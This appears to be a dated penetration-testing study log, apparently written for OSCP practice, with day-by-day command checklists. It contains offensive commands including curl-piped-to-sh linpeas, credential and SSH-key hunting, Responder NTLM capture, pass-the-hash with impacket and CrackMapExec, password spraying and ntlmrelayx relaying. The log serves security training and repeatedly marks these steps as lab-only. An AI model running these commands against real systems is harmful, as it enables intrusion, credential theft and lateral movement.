October 9 2025 — Environment setup & first reconnaissance
Goal: Verify environment (network/VPN/tools), then run a full-port discovery and initial enumeration on one target
to identify priority services (HTTP/SMB/FTP). Store scan outputs and write concise findings.
Network / env check
// show interfaces and connectivity
ip a
ping 8.8.8.8
Purpose: save outputs for reporting and reproducibility.
October 10 2025 — Repeat scans & deeper enumeration
Goal: Re-run and deepen scans for services discovered on Oct 9. Use service-specific tools and NSE vuln scripts to
get more context and possible exploit paths.
Purpose: surface known CVE indicators or misconfigurations via NSE.
HTTP deeper checks
nmap --script http-headers,http-enum -p 80,443 $TGT
nikto -h http://$TGT
Purpose: find misconfigurations, common vulnerable endpoints, and server fingerprints.
Protocol-specific checks (FTP/SMB)
# FTP example
ftp $TGT
# SMB access example
smbclient //$TGT/Shared -N
Purpose: try anonymous access / pull files that may contain credentials or configs.
Prepare for local recon (if shell)
uname -a
id
cat /etc/os-release
Purpose: identify OS / user context quickly for privesc planning.
October 11 2025 — NSE/script-driven analysis & triage
Goal: Use NSE and focused scripts to gather vulnerability hints; if a shell is obtained, run quick local enumerations
(linPEAS or manual checks) to find privesc vectors.
Targeted NSE (vuln & default)
nmap -sV --script "default or vuln" -p $TGT -oN nmap/$TGT-nse.txt
Purpose: expose likely exploitable configuration or version-specific issues.
Local automated privesc hinting
curl -sS https://raw.githubusercontent.com/carlospolop/PEASS-ng/master/linpeas.sh | sh
Purpose: quickly enumerate SUID, writable paths, cron jobs, and other privesc leads.
Manual privesc probes
find / -perm -4000 -type f 2>/dev/null | tee /tmp/suid.$TGT.txt
crontab -l 2>/dev/null
ls -la /etc/cron*
Purpose: double-check any automated hints and capture candidates for exploitation.
October 12 2025 — Clean-up, triage & TODOs
Goal: Consolidate findings from previous days, extract TODOs, produce a short findings draft and prioritize next steps.
Collect outstanding tasks
grep -R "TODO\|NEXT" notes/ || true
Purpose: assemble unresolved items to plan follow-ups.
Quick scan summaries
grep "open" scans/$TGT-quick.nmap | sort -u
Purpose: one-line list of open ports for a quick status view.
Purpose: produce a shareable, actionable summary (Findings / Exploit ideas / Next steps).
October 13 2025 — HTTP-focused recon & content discovery
Goal: Exhaustively explore web content (headers, hidden endpoints, backups) and perform quick port sweeps. Aim to
find any credentials/config files or admin panels that expand attack surface.
Verbose header + redirection check
curl -I -L http://$TGT
curl -v http://$TGT/
Purpose: gather CSP, X-Frame-Options, Server, redirect chains and cookie details.
Directory brute with extensions
gobuster dir -u http://$TGT -w /usr/share/wordlists/common.txt -x php,txt,env,bak,old -o gobust/$TGT-web.txt
Purpose: locate config or backup files (e.g., .env, config.bak) and admin interfaces.
Fast TCP sweep (netcat)
nc -nvvv -w 1 -z $TGT 1-65535
Purpose: quick check for connectable TCP ports (useful when nmap is slow or restricted).
Purpose: only use in controlled lab; capture TTY using python -c or script; avoid destructive actions.
Post-exploit enumeration (if shell)
id
whoami
hostname
ps aux --sort=-%mem | head -n 20
ss -tunlp
find / -perm -4000 -type f 2>/dev/null | tee /tmp/suid.$TGT.txt
ls -la /etc/cron* 2>/dev/null
Purpose: map privileges, network, running services, and privesc candidates.
Credential harvesting & validation
# Look for config files, .env, backup files
grep -R "DB_PASSWORD\|DB_USER\|PASSWORD\|SECRET" /var/www 2>/dev/null | head -n 40
Purpose: find stored credentials that may allow lateral movement or privileged access.
Preserve proofs & cleanup
cp -r /tmp/session_logs proofs/$TGT-$(date +%F)
# Do not leave persistent backdoors
Purpose: save evidence; remove any artifacts you created; do not modify system state beyond necessary.
October 15 2025 — Privilege escalation & lateral movement
Goal: Focus on controlled privilege escalation attempts on a compromised host and, if successful, plan safe lateral movement
options (credential reuse, SSH keys, SSH tunnelling, proxying). Always preserve evidence and avoid destructive actions.
Confirm current context
id
whoami
hostname
uname -a
Purpose: confirm current user, host and kernel/OS details before escalation attempts.
Sudo capability & permissions
sudo -l
Purpose: list allowed sudo commands for the current user — often yields safe escalation paths (no exploit required).
File / capability checks
getcap -r / 2>/dev/null | grep cap_
find / -perm -4000 -type f 2>/dev/null | tee /tmp/suid.$TGT.txt
Purpose: find SUID binaries and binaries with capabilities that can be abused for escalation.
Credential/config hunt (read-only)
grep -R "PASSWORD\|DB_PASS\|DB_USER\|SECRET\|API_KEY" /var/www /etc 2>/dev/null | head -n 60
ls -la ~/.ssh
cat ~/.ssh/authorized_keys 2>/dev/null || true
Purpose: locate stored credentials, keys, or config files that permit privilege escalation or lateral movement. Prefer read-only checks.
Check for SSH keys and reuse
find / -type f -name "id_rsa" -o -name "id_ecdsa" 2>/dev/null | xargs -r ls -l
Purpose: identify private keys that could be used for pivoting to other hosts (verify ownership/permission before any use).
Goal: SMB/NTLM-focused enumeration and authentication techniques (pass-the-hash, NTLMv2 capture/use, CrackMapExec, smbclient, hashcat). Run all offensive techniques only in authorized lab environments. Save outputs to files for evidence.
Start & environment
# Set variables and prepare folders (consistent recording)
export TGT=10.10.10.5
export DATE=$(date +%F)
mkdir -p notes/$DATE proofs/$DATE scans
# Start log with timestamp
echo "Start: $(date --iso-8601=seconds) target=$TGT" | tee proofs/$DATE/session.log
Purpose: Add timestamps to all outputs and collect results into date-named folders for later reporting.
SMB discovery & quick checks
# nmap: service/script scan (tune rate to control load)
nmap -p 139,445 -sV --script="smb-os-discovery,smb-enum-shares,smb-protocols" --min-rate 500 -oA scans/$TGT-smb $TGT
# enum4linux for in-depth SMB/Windows enumeration
enum4linux -a $TGT 2>&1 | tee scans/$TGT-enum4linux.txt
# quick smbclient listing (anonymous / no-password)
smbclient -L //$TGT -N 2>&1 | tee scans/$TGT-smbclient-list.txt
Purpose: Use nmap + enum4linux to identify OS, shares and permissions; preserve the output files as evidence.
NTLM hash capture ideas (defensive/lab)
# Responder (LLMNR/NBT-NS/MDNS) - lab only
sudo responder -I eth0 -rdw --lm --wredir 2>&1 | tee proofs/$DATE/responder.log
# Use a rogue smbserver to lure authentication (lab): check logs/pcap
# python3 -m impacket.examples.smbserver SMBShare /path/to/share -smb2support
# capture traffic with tcpdump
sudo tcpdump -i eth0 -w proofs/$DATE/ntlm_capture.pcap port 445 or port 139
Purpose: Capture NTLMv2 challenge/response via name resolution weaknesses or a bait share. Do NOT run these on production networks.
Use NTLM hash with smbclient / CrackMapExec
# smbclient sometimes doesn't accept hash directly; use impacket or CrackMapExec instead
# CrackMapExec example (pass-the-hash)
crackmapexec smb $TGT -u 'Administrator' -H 'aad3b435b51404ee:0123456789abcdef0123456789abcdef' --shares 2>&1 | tee proofs/$DATE/cme-pth.txt
# impacket-smbclient example using -hashes where available
python3 /usr/bin/impacket-smbclient 'Administrator@'$TGT -hashes ':0123456789abcdef0123456789abcdef' -no-pass 2>&1 | tee proofs/$DATE/impacket-smbclient.txt
Purpose: Verify whether captured NTLM hashes authenticate to SMB shares; save both successes and failures for documentation.
Pass-the-hash (PTH) and impacket
# impacket psexec (hash-based authentication) — lab only
# Format: -hashes ':' or ':' if LM not used
python3 /usr/bin/impacket-psexec 'DOMAIN/Administrator@'$TGT -hashes ':0123456789abcdef0123456789abcdef' 2>&1 | tee proofs/$DATE/psexec-pth.txt
# wmiexec as a non-interactive shell alternative
python3 /usr/bin/impacket-wmiexec 'Administrator@'$TGT -hashes ':0123456789abcdef0123456789abcdef' 2>&1 | tee proofs/$DATE/wmiexec-pth.txt
Purpose: Attempt remote command execution using hashes. Note that UAC, firewalls, or EDR may block these attempts—record the results.
Purpose: Use dictionary/rule-based cracking to recover plaintext credentials from captured hashes. Track time/resource limits and preserve results.
Test weak creds & default accounts (safety)
# Test small credential lists (check lockout policy before running)
crackmapexec smb $TGT -u small_userlist.txt -p small_passlist.txt --continue-on-success --shares 2>&1 | tee proofs/$DATE/spray_attempts.txt
# RDP/WinRM test if the service is open
crackmapexec rdp $TGT -u Administrator -p 'P@ssw0rd' 2>&1 | tee proofs/$DATE/rdp_test.txt
Purpose: Look for reused or default credentials while avoiding large-scale password spraying that could trigger account lockouts—keep tests minimal and controlled.
# ntlmrelayx.py example (lab only): relay to LDAP/DC
sudo ntlmrelayx.py -tf targets.txt -smb2support -t ldap://10.10.10.10 --debug 2>&1 | tee proofs/$DATE/ntlmrelayx.log
# Successful relays can allow privilege escalation in domain environments — do NOT run against production
Purpose: Learn the risks of NTLM relay and test mitigations. Relaying on a production network is strictly prohibited and illegal in many contexts.
Enumerate shares & download proofs
# smbclient for file listing and read-only download
smbclient //${TGT}/Public -U 'guest%' -c 'ls' 2>&1 | tee proofs/$DATE/smbclient-list-public.txt
# smbmap to enumerate and simulate recursive reads
smbmap -H $TGT -u 'guest' -p '' -R 2>&1 | tee proofs/$DATE/smbmap-recursive.txt
# If allowed to collect a file, download and move it to proofs
smbclient //${TGT}/Public -U 'guest%' -c 'get important.log' && mv important.log proofs/$DATE/ || true
Purpose: Only collect files you are authorized to read. Store sensitive artifacts in an isolated proofs directory and avoid modifying target files.
Document findings & next steps
# Create a Markdown summary for reporting
cat > notes/$DATE/summary.md <
Purpose: Produce a concise report + a compressed archive with a checksum to preserve integrity. Review sensitive content before sharing.
October 17 2025 — Webapp enumeration & vuln checking
Goal: Enumerate web apps (content discovery, params, tech stack), discover injection points and common misconfigurations, and capture outputs for reporting. Use passive & non-destructive checks first; active exploitation only in lab.
Purpose: quickly test for trivial misconfigurations; do not attempt remote code execution on production.
Capture & archive evidence
cp scans/$DATE/* proofs/$DATE/ || true
tar -czf proofs/$DATE-web-proofs.tar.gz proofs/$DATE scans/$DATE notes/$DATE
sha256sum proofs/$DATE-web-proofs.tar.gz | tee proofs/$DATE/checksum.sha256
Purpose: package artifacts and create checksum for integrity before reporting.
Report findings & next steps
cat > notes/$DATE/summary.md <
Purpose: produce concise summary and recommended manual follow-ups (Burp, manual review).
Tips:
Favor manual verification (Burp Suite) before claiming an exploitable vulnerability.
Limit concurrency/rate to avoid DoS on production systems; prefer staging/lab tests.
Record full request/response captures (Burp project or raw PCAPs) for reproducibility.
October 18 2025 — Linux post-exploit: privilege escalation deep dive
Goal: After initial foothold on a Linux host, perform safe enumeration for escalation (SUID, capabilities, credentials, cron, kernel info). Prefer read-only checks and document every step.
Purpose: keep host-specific logs and proofs in a single date folder.
Basic system info
id | tee proofs/$DATE/id.txt
uname -a | tee proofs/$DATE/uname.txt
cat /etc/os-release 2>/dev/null | tee proofs/$DATE/os-release.txt
Purpose: capture kernel/version/os details to check for known kernel exploits.
SUID binaries, file capabilities
getcap -r / 2>/dev/null | tee proofs/$DATE/getcap.txt
find / -perm -4000 -type f -exec ls -ld {} \; 2>/dev/null | tee proofs/$DATE/suid.txt
Purpose: locate privileged binaries that may be abused for escalation; note exact paths/owners.
Installed packages & services
# Debian/Ubuntu
dpkg -l 2>/dev/null | tee proofs/$DATE/dpkg-list.txt
# RHEL/CentOS
rpm -qa 2>/dev/null | tee proofs/$DATE/rpm-list.txt
# list services
systemctl list-units --type=service --no-pager 2>/dev/null | tee proofs/$DATE/services.txt
Purpose: identify outdated packages or services running as root that can be targeted or misconfigured.
Readable credential files & configs (read-only)
grep -R --line-number -I "password\|passwd\|secret\|api_key\|db_pass" /etc /var/www /home 2>/dev/null | tee proofs/$DATE/cred-grep.txt || true
ls -la /root /home 2>/dev/null | tee proofs/$DATE/dirs.txt
Purpose: search for misstored credentials. Only inspect files you are allowed to read; avoid exfiltrating secrets unnecessarily.
Cron jobs, systemd timers
crontab -l 2>/dev/null | tee proofs/$DATE/crontab-user.txt
ls -la /etc/cron.* /etc/systemd/system | tee proofs/$DATE/cron-system.txt
systemctl list-timers --all 2>/dev/null | tee proofs/$DATE/timers.txt
Purpose: find scheduled tasks running as root or with writable scripts that can be abused for escalation.
Kernel exploit check (safe)
# Check kernel version & search local exploit DB (offline)
uname -r | tee proofs/$DATE/kernel.txt
# Use searchsploit locally (no exploit execution)
searchsploit --nmap scans/$DATE/$TGT-some-scan.nmap $(cat proofs/$DATE/kernel.txt) 2>&1 | tee proofs/$DATE/searchsploit.txt || true
Purpose: identify known kernel CVEs but do NOT run public PoCs on production—use lab only after risk assessment.
Privilege escalation helpers (linpeas, lesu)
# Download linpeas (lab) and run read-only checks
curl -sS https://github.com/carlospolop/PEASS-ng/releases/latest/download/linpeas.sh -o /tmp/linpeas.sh && chmod +x /tmp/linpeas.sh
/tmp/linpeas.sh 2>&1 | tee proofs/$DATE/linpeas.txt
Purpose: use linpeas output as an aggregation of potential vectors; always inspect findings manually.
Check kernel modules & loaded drivers
lsmod 2>/dev/null | tee proofs/$DATE/lsmod.txt
dmesg | tail -n 200 2>/dev/null | tee proofs/$DATE/dmesg-tail.txt
Purpose: detect suspicious modules or drivers that might indicate prior compromise or exploitable interfaces.
Save artifacts & clean temp files
tar -czf proofs/$DATE-linux-proofs.tar.gz proofs/$DATE scans/$DATE notes/$DATE
sha256sum proofs/$DATE-linux-proofs.tar.gz | tee proofs/$DATE/checksum.sha256
# remove large temp if created
rm -f /tmp/linpeas.sh || true
Purpose: compress & hash evidence; remove temporary artifacts created during enumeration.
October 20 2025 — Active Directory & domain-level techniques
Goal: Domain enumeration + common AD attack/defense (Kerberoast, AS-REP, BloodHound, signing, replication). Offensive domain ops only with explicit written permission.
Purpose: confirm FTP(21) and SMB(139/445) exposure & versions.
SMB enumeration
enum4linux -a $TGT | tee ~/oscp/proofs/$DATE/enum4linux/$TGT-enum4linux.txt
smbclient -L //$TGT -N | tee ~/oscp/proofs/$DATE/smb/${TGT}-shares.txt
smbclient //${TGT}/public -N -c 'ls' | tee ~/oscp/proofs/$DATE/smb/${TGT}-public-ls.txt
# if creds are available (from prior findings)
# smbclient //${TGT}/private -U alice%Summer2025! -c 'ls' | tee ~/oscp/proofs/$DATE/smb/${TGT}-private-ls.txt
Purpose: list shares, access level, and interesting files.
Purpose: machine-readable list (service|user|pass|source_file|source_path). Never publish plaintext creds.
SMB/FTP reuse tests
while IFS='|' read service user pass srcfile srcpath; do
if [ "$service" = "smb" ]; then
smbclient //${TGT}/private -U "${user}%${pass}" -c 'ls' 2>&1 | tee ~/oscp/proofs/$DATE/smb/${user}-reuse.txt
fi
done < ~/oscp/proofs/$DATE/findings/creds_candidates.txt
# FTP (non-interactive)
ftp -n $TGT <<ENDOFTPCMD 2>&1 | tee ~/oscp/proofs/$DATE/ftp/ftp-backup-reuse.txt
user backup backup123
ls
quit
ENDOFTPCMD
Purpose: verify reuse; store outputs as proof (success/failure).
whoami | tee ~/oscp/proofs/$DATE/host/whoami.txt
id | tee ~/oscp/proofs/$DATE/host/id.txt
hostname | tee ~/oscp/proofs/$DATE/host/hostname.txt
uname -a | tee ~/oscp/proofs/$DATE/host/uname.txt
cat /etc/os-release | tee ~/oscp/proofs/$DATE/host/os-release.txt
sudo -l 2>&1 | tee ~/oscp/proofs/$DATE/host/sudo-l.txt
ps aux --sort=-%mem | head -n 40 > ~/oscp/proofs/$DATE/host/ps-top.txt
ss -tunlp > ~/oscp/proofs/$DATE/host/ss-listening.txt
Purpose: non-destructive privilege, process, and network snapshot.
Search for local credential artifacts
grep -I -R --line-number -E "password|passwd|api[_-]?key|token|aws_access|secret" \
/var/www /home 2>/dev/null | tee ~/oscp/proofs/$DATE/host/possible-creds.txt
find / -perm -4000 -type f 2>/dev/null | tee ~/oscp/proofs/$DATE/host/suid-list.txt
Purpose: collect next-step privesc candidates (do not exploit).
Purpose: broaden local discovery (store full output, extract highlights into notes).
October 23 2025 — Local PrivEsc recon & triage
Goal: Identify and prioritize privesc vectors (SUID, writable service files, cron, systemd, libraries) and draft safe PoC ideas.
Baseline facts
whoami | tee ~/oscp/proofs/$DATE/host/whoami.txt
id | tee ~/oscp/proofs/$DATE/host/id.txt
uname -a | tee ~/oscp/proofs/$DATE/host/uname.txt
cat /etc/os-release | tee ~/oscp/proofs/$DATE/host/os-release.txt
Purpose: kernel/distro details for CVE mapping.
SUID enumeration
find / -perm -4000 -type f 2>/dev/null | tee ~/oscp/proofs/$DATE/host/suid-list.txt
# inspect a candidate
ls -l /usr/bin/find 2>/dev/null || true
strings /usr/bin/find | head -n 80
find / -type f -writable -not -path "/proc/*" 2>/dev/null | head -n 200 \
| tee ~/oscp/proofs/$DATE/host/writable-head.txt
cat /etc/crontab 2>/dev/null | tee ~/oscp/proofs/$DATE/host/etc-crontab.txt
ls -la /etc/cron.d/ 2>/dev/null | tee ~/oscp/proofs/$DATE/host/cron.d-list.txt
ls -la /etc/systemd/system | tee ~/oscp/proofs/$DATE/host/systemd-list.txt
grep -R "ExecStart" /etc/systemd/system -n 2>/dev/null | tee ~/oscp/proofs/$DATE/host/systemd-execstart.txt
Purpose: writable cron scripts or unit files = P1 candidates. Capture full path & perms with ls -l.
Library / LD_PRELOAD checks
ldd /usr/bin/some-binary 2>/dev/null | tee ~/oscp/proofs/$DATE/host/ldd-some-binary.txt
grep -R "LD_PRELOAD" /etc /usr /home 2>/dev/null | tee ~/oscp/proofs/$DATE/host/ldpreload-check.txt
Purpose: detect writable library paths or preload hooks.
PoC template & triage
cat > ~/oscp/proofs/$DATE/host/poc-template.txt <<'EOF'
[Vector] <writable cron / vulnerable SUID / unit file>
[Evidence] paste ls -l, file snippet, and path
[Abuse idea] safe PoC in /tmp (non-destructive) to validate execution/write control
[Risk] PrivEsc -> root
[Defense] fix perms; chown root:root; remove unnecessary SUID; harden cron dirs
EOF
Purpose: standardize documentation and prioritize (P1/P2/P3).
6-line summary & archive
mkdir -p ~/oscp/proofs/$DATE/notes
cat > ~/oscp/proofs/$DATE/notes/summary-6line.txt <<EOF
Context: low-priv shell on $TGT
Key findings: writable cron/script, SUID candidate(s)
Exploitability: P1 for writable cron (needs PoC)
Next steps: craft safe PoC in /tmp; capture outputs
Defense: remove write perms; restrict cron dir; drop SUID
EOF
tar -czf ~/oscp/proofs/$DATE-${TGT}-archive.tgz -C ~/oscp/proofs/$DATE .
Purpose: finalize daily artifacts for later write-up.